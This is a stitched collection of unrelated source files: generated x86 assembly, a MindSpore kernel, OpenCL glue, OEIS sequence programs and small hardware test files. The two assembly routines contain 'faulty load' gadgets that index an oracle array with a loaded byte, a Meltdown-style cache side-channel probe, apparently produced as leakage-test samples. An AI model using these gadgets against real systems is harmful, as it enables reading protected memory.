mov $70, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $35791, %rdi
lea addresses_D_ht+0x10798, %r13
nop
nop
nop
sub $13959, %rdi
mov (%r13), %rcx
nop
inc %rcx
lea addresses_WC_ht+0x16918, %r14
clflush (%r14)
nop
nop
nop
xor $50514, %rsi
mov (%r14), %r13
nop
and $49280, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %rbp
push %rdi
// Faulty Load
lea addresses_WT+0x15518, %rdi
nop
nop
xor $60548, %r15
movups (%rdi), %xmm2
vpextrq $1, %xmm2, %r13
lea oracles, %rdi
and $0xff, %r13
shlq $12, %r13
mov (%rdi,%r13,1), %r13
pop %rdi
pop %rbp
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': True, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x5ed1, %r10
clflush (%r10)
nop
nop
xor %rax, %rax
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
movups %xmm1, (%r10)
nop
nop
nop
nop
add %r14, %r14
lea addresses_normal_ht+0x70e1, %rsi
lea addresses_WC_ht+0x1070b, %rdi
cmp $32440, %rdx
mov $117, %rcx
rep movsw
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x10661, %rsi
cmp $18862, %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm5
vmovups %ymm5, (%rsi)
nop
nop
nop
nop
sub %r14, %r14
lea addresses_WT_ht+0xc6a1, %rdx
nop
nop
nop
add %rax, %rax
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%rdx)
nop
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_A_ht+0x168e5, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
add %rdx, %rdx
vmovups (%rcx), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r14
nop
nop
add $52811, %rax
lea addresses_WC_ht+0x83e1, %r10
nop
xor $61279, %rdi
movw $0x6162, (%r10)
nop
nop
xor $61068, %rdi
lea addresses_UC_ht+0x132a1, %rcx
nop
nop
nop
nop
nop
cmp %rdx, %rdx
movb $0x61, (%rcx)
nop
nop
nop
nop
dec %rdx
lea addresses_UC_ht+0x1b7d1, %rsi
lea addresses_WC_ht+0x51e1, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $20, %rcx
rep movsb
nop
nop
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x41d1, %rsi
lea addresses_WT_ht+0x182a1, %rdi
sub $4285, %r8
mov $115, %rcx
rep movsb
nop
nop
nop
nop
xor %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %r9
push %rax
// Faulty Load
lea addresses_WT+0xbaa1, %r10
nop
xor $63524, %r9
mov (%r10), %ax
lea oracles, %r10
and $0xff, %rax
shlq $12, %rax
mov (%r10,%rax,1), %rax
pop %rax
pop %r9
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}}
{'39': 3729, '00': 18100}
00 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
#include "RenderPass.h"
#include <cassert>
namespace Lumen::Graphics
{
RenderPass* (*RenderPass::sCreateFunc)(const std::vector<Attachment>&, Surface*) = nullptr;
RenderPass* RenderPass::Create(const std::vector<Attachment>& attachments, Surface* target)
{
assert(sCreateFunc && "No graphics api set!");
return sCreateFunc(attachments, target);
}
}
|
; A108122: G.f.: (1-2*x^2)/(1-x-2*x^2-x^3).
; 1,1,1,4,7,16,34,73,157,337,724,1555,3340,7174,15409,33097,71089,152692,327967,704440,1513066,3249913,6980485,14993377,32204260,69171499,148573396,319120654,685438945,1472253649,3162252193,6792198436,14588956471,31335605536,67305716914,144565884457,310512923821,666950409649,1432542141748,3076955884867,6608990578012,14195444489494,30490381530385,65490261087385,140666468637649,302137372342804,648960570705487,1393901784028744,2993960297782522,6430724436545497,13812546816139285,29667955987012801,63723774055836868,136872232846001755,293987736944688292,631455976692528670,1356303683427907009,2913203373757652641,6257266717305995329,13439977148249207620,28867713956618850919,62004934970423261488,133180340031910170946,286057923929375544841,614423538963619148221,1319719726854280408849,2834624728710894250132,6088487721383074216051,13077456905659143125164,28089057077136185807398,60332458609837546273777,129588029669769061013737,278342003966580339368689,597850521915956007669940,1284122559518885747421055,2758165607317378102129624,5924261248271105604641674,12724715022424747556321977,27331403126284336867734949,58705094419404937585020577,126092615694398358876812452,270834207659492570914588555,581724533467694226253234036,1249485564481077726959223598,2683768839075958750380280225,5764464501505808430551961457,12381487744138803658271745505,26594185586226379269755948644,57121625576009795016851401111,122691484492601357214635043904,263528921230847326518093794770,566033515792059835964215283689,1215782842746355846215037917133,2611378795561322844661562279281,5608977996846094373055853397236,12047518430715095908594015872931,25876853219968607499367284946684,55580868078244893689611170089782,119382092948897204596939755856081,256420682325355599475529380982329
mul $0,2
trn $0,5
seq $0,23435 ; Dying rabbits: a(n) = a(n-1) + a(n-2) - a(n-5).
mul $0,3
add $0,1
|
; A005386: Area of n-th triple of squares around a triangle.
; 1,3,16,75,361,1728,8281,39675,190096,910803,4363921,20908800,100180081,479991603,2299777936,11018898075,52794712441,252954664128,1211978608201,5806938376875,27822713276176,133306628004003,638710426743841,3060245505715200
add $0,1
cal $0,3501 ; a(n) = 5*a(n-1) - a(n-2), with a(0) = 2, a(1) = 5.
mov $1,4
add $1,$0
div $1,7
|
/**
* Copyright 2021 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "infer/dpico_extract_infer.h"
#include <vector>
#include <memory>
#include <map>
#include <string>
#include "common/op_attr.h"
#include "utils/log_adapter.h"
#include "common/infer_util.h"
#include "include/errorcode.h"
#include "ops/op_name.h"
#include "include/registry/register_kernel_interface.h"
using mindspore::kernel::KernelInterface;
using mindspore::lite::RET_ERROR;
using mindspore::lite::RET_OK;
namespace mindspore {
namespace kernel {
std::shared_ptr<KernelInterface> DpicoExtractInferCreater() {
std::shared_ptr<KernelInterface> infer = std::make_shared<DpicoExtractInterface>();
if (infer == nullptr) {
MS_LOG(ERROR) << "make shared failed, infer is nullptr.";
return nullptr;
}
return infer;
}
Status DpicoExtractInterface::Infer(std::vector<mindspore::MSTensor> *inputs, std::vector<mindspore::MSTensor> *outputs,
const schema::Primitive *primitive, const kernel::Kernel *kernel) {
auto status = dpico::CheckCustomInputOutput(inputs, outputs, primitive);
if (status != RET_OK) {
MS_LOG(ERROR) << "Check custom input output failed.";
return kLiteError;
}
auto param = primitive->value_as_Custom();
if (dpico::CheckCustomParam(param, "Extract") != RET_OK) {
MS_LOG(ERROR) << "custom param is invalid.";
return kLiteError;
}
// get param value
std::map<std::string, const flatbuffers::Vector<uint8_t> *> custom_attrs;
int raw_axis = 1;
uint32_t slice_begin = 0;
uint32_t slice_end = 1;
if (param->attr() == nullptr) {
MS_LOG(ERROR) << "param->attr() is nullptr";
return kLiteError;
}
for (size_t i = 0; i < param->attr()->size(); i++) {
if (param->attr()->Get(i) == nullptr || param->attr()->Get(i)->name() == nullptr) {
MS_LOG(ERROR) << "param->attr()->Get(i) is nullptr or param->attr()->Get(i)->name() is nullptr";
return kLiteError;
}
custom_attrs.insert({param->attr()->Get(i)->name()->str(), param->attr()->Get(i)->data()});
}
if (custom_attrs.count(ops::kAxis) == 1) {
if (memcpy_s(&raw_axis, sizeof(int32_t), custom_attrs[ops::kAxis]->data(), custom_attrs[ops::kAxis]->size()) !=
EOK) {
MS_LOG(ERROR) << "memcpy_s failed.";
return kLiteError;
}
}
if (custom_attrs.count(dpico::kSlicePointBegin) == 1) {
if (memcpy_s(&slice_begin, sizeof(uint32_t), custom_attrs[dpico::kSlicePointBegin]->data(),
custom_attrs[dpico::kSlicePointBegin]->size()) != EOK) {
MS_LOG(ERROR) << "memcpy_s failed.";
return kLiteError;
}
}
if (custom_attrs.count(dpico::kSlicePointEnd) == 1) {
if (memcpy_s(&slice_end, sizeof(uint32_t), custom_attrs[dpico::kSlicePointEnd]->data(),
custom_attrs[dpico::kSlicePointEnd]->size()) != EOK) {
MS_LOG(ERROR) << "memcpy_s failed.";
return kLiteError;
}
}
const auto &input = (*inputs)[0];
auto &output = (*outputs)[0];
auto input_shape = input.Shape();
if (input_shape.empty()) {
MS_LOG(ERROR) << "input shape is empty.";
return kLiteError;
}
auto axis = (raw_axis + input_shape.size()) % input_shape.size();
if (input_shape.size() <= axis) {
MS_LOG(ERROR) << "input_shape size: " << input_shape.size() << " is less than axis: " << axis;
return kLiteError;
}
if (input_shape.at(axis) < slice_end) {
MS_LOG(ERROR) << "slice_point_end " << slice_end << " is greater than dim " << input_shape.at(axis);
return kLiteError;
}
std::vector<int64_t> output_shape(input_shape);
output_shape[axis] = slice_end - slice_begin;
output.SetShape(output_shape);
return kSuccess;
}
REGISTER_CUSTOM_KERNEL_INTERFACE(DPICO, Extract, DpicoExtractInferCreater)
} // namespace kernel
} // namespace mindspore
|
; $Id: equates.asm,v 1.5 1995/04/04 14:57:34 servan Exp $
;
; Copyright (c) RenderMorphics Ltd. 1993, 1994
; Version 1.0beta2
;
; All rights reserved.
;
; This file contains private, unpublished information and may not be
; copied in part or in whole without express permission of
; RenderMorphics Ltd.
;
;
ifdef STACK_CALL
else
SUFFIX = 1
endif
ifdef MICROSOFT_NT
SUFFIX = 1
endif
ifdef SUFFIX
else
_RLDDIhdivtab equ RLDDIhdivtab
_RLDDIhdiv2tab equ RLDDIhdiv2tab
endif
|
/********************************************************************************
*
* Copyright (c) 2018 ROCm Developer Tools
*
* MIT LICENSE:
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is furnished to do
* so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*******************************************************************************/
#include <string>
#include <vector>
#include "test/unitactionbase.h"
#include "include/rvsloglp.h"
#define MODULE_NAME_CAPS "UNITPESM"
//! Default constructor
unitactionbase::unitactionbase() {
}
//! Default destructor
unitactionbase::~unitactionbase() {
property.clear();
}
int unitactionbase::run(void) {
RVSTRACE_
// agreed upon return value for this run() method
return 3;
}
void unitactionbase::test_get_device_all
(std::vector<uint16_t>* pDev, bool* bAll) {
*pDev = property_device;
*bAll = property_device_all;
}
void unitactionbase::test_erase_property(const std::string& prop) {
property.erase(prop);
}
|
/*
* Author: doe300
*
* See the file "LICENSE" for the full license governing this code.
*/
#include "extensions.h"
#include "Device.h"
#include "Platform.h"
#include "icd_loader.h"
#include <CL/opencl.h>
#include <cstdio>
#include <cstring>
using namespace vc4cl;
void* VC4CL_FUNC(clGetExtensionFunctionAddressForPlatform)(cl_platform_id platform, const char* funcname)
{
VC4CL_PRINT_API_CALL(
"void*", clGetExtensionFunctionAddressForPlatform, "cl_platform_id", platform, "const char*", funcname);
#ifdef DEBUG_MODE
std::cout << "[VC4CL] get extension function address: " << funcname << std::endl;
#endif
// the clIcdGetPlatformIDsKHR function is looked up via here
if(strcmp("clIcdGetPlatformIDsKHR", funcname) == 0)
return reinterpret_cast<void*>(&VC4CL_FUNC(clIcdGetPlatformIDsKHR));
if(strcmp("clGetPlatformInfo", funcname) == 0)
return reinterpret_cast<void*>(&VC4CL_FUNC(clGetPlatformInfo));
// cl_khr_il_program
if(strcmp("clCreateProgramWithILKHR", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clCreateProgramWithILKHR)));
// cl_arm_shared_virtual_memory
if(strcmp("clSVMAllocARM", funcname) == 0)
return reinterpret_cast<void*>((&VC4CL_FUNC(clSVMAllocARM)));
if(strcmp("clSVMFreeARM", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clSVMFreeARM)));
if(strcmp("clEnqueueSVMFreeARM", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clEnqueueSVMFreeARM)));
if(strcmp("clEnqueueSVMMemcpyARM", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clEnqueueSVMMemcpyARM)));
if(strcmp("clEnqueueSVMMemFillARM", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clEnqueueSVMMemFillARM)));
if(strcmp("clEnqueueSVMMapARM", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clEnqueueSVMMapARM)));
if(strcmp("clEnqueueSVMUnmapARM", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clEnqueueSVMUnmapARM)));
if(strcmp("clSetKernelArgSVMPointerARM", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clSetKernelArgSVMPointerARM)));
if(strcmp("clSetKernelExecInfoARM", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clSetKernelExecInfoARM)));
// cl_altera_live_object_tracking
if(strcmp("clTrackLiveObjectsAltera", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clTrackLiveObjectsAltera)));
if(strcmp("clReportLiveObjectsAltera", funcname) == 0)
return reinterpret_cast<void*>(&(VC4CL_FUNC(clReportLiveObjectsAltera)));
// cl_vc4cl_performance_counters
if(strcmp("clCreatePerformanceCounterVC4CL", funcname) == 0)
return reinterpret_cast<void*>(&VC4CL_FUNC(clCreatePerformanceCounterVC4CL));
if(strcmp("clGetPerformanceCounterValueVC4CL", funcname) == 0)
return reinterpret_cast<void*>(&VC4CL_FUNC(clGetPerformanceCounterValueVC4CL));
if(strcmp("clReleasePerformanceCounterVC4CL", funcname) == 0)
return reinterpret_cast<void*>(&VC4CL_FUNC(clReleasePerformanceCounterVC4CL));
if(strcmp("clRetainPerformanceCounterVC4CL", funcname) == 0)
return reinterpret_cast<void*>(&VC4CL_FUNC(clRetainPerformanceCounterVC4CL));
if(strcmp("clResetPerformanceCounterVC4CL", funcname) == 0)
return reinterpret_cast<void*>(&VC4CL_FUNC(clResetPerformanceCounterValueVC4CL));
#ifdef DEBUG_MODE
std::cout << "[VC4CL] extension function address not found for: " << funcname << std::endl;
#endif
return nullptr;
}
void* clGetExtensionFunctionAddress(const char* name)
{
return VC4CL_FUNC(clGetExtensionFunctionAddressForPlatform)(Platform::getVC4CLPlatform().toBase(), name);
}
|
lc r4, 0x00000000
lc r5, 0x0000101f
lc r6, 0x00000000
tlbse r6, r4
lc r8, 0x40000000
lc r9, 0x0000101f
lc r10, 0x00000001
tlbse r10, r8
lc r11, 0xdeadbeef
lc r12, 0x40000001
lc r13, 0x40000001
st1 r11, r13, 0
halt
#@expected values
#r4 = 0x00000000
#r5 = 0x0000101f
#r6 = 0x00000000
#tlb 0:
# vpn = 0x00000
# os = 0x000
# ppn = 0x00001
# at = 0x01f
#r8 = 0x40000000
#r9 = 0x0000101f
#r10 = 0x00000001
#tlb 1:
# vpn = 0x40000
# os = 0x000
# ppn = 0x00001
# at = 0x01f
#r11 = 0xdeadbeef
#r12 = 0x40000001
#r13 = 0x40000001
#mem 0x00001001 = ef
#pc = 0x80000044
|
;
; High Resolution library for the MicroBee
; Version for the 8x11 PCG paged font (640x275)
;
; Written by Stefano Bodrato, November 2016
;
;
; Divide by five lookup table
; useful to switch the PCG bank every 5 columns (port $1C)
;
;
; $Id: div5.asm,v 1.1 2016-11-21 11:18:38 stefano Exp $
;
SECTION rodata_clib
PUBLIC div5
.div5
defb 0+128, 0+128, 0+128, 0+128, 0+128, 1+128, 1+128, 1+128, 1+128, 1+128, 2+128, 2+128, 2+128, 2+128, 2+128, 3+128, 3+128, 3+128, 3+128, 3+128
defb 4+128, 4+128, 4+128, 4+128, 4+128, 5+128, 5+128, 5+128, 5+128, 5+128, 6+128, 6+128, 6+128, 6+128, 6+128, 7+128, 7+128, 7+128, 7+128, 7+128
defb 8+128, 8+128, 8+128, 8+128, 8+128, 9+128, 9+128, 9+128, 9+128, 9+128, 10+128, 10+128, 10+128, 10+128, 10+128, 11+128, 11+128, 11+128, 11+128, 11+128
defb 12+128, 12+128, 12+128, 12+128, 12+128, 13+128, 13+128, 13+128, 13+128, 13+128, 14+128, 14+128, 14+128, 14+128, 14+128, 15+128, 15+128, 15+128, 15+128, 15+128
|
;------------------------------------------------------------------------------
;*
;* Copyright 2006, Intel Corporation
;* All rights reserved. This program and the accompanying materials
;* are licensed and made available under the terms and conditions of the BSD License
;* which accompanies this distribution. The full text of the license may be found at
;* http://opensource.org/licenses/bsd-license.php
;*
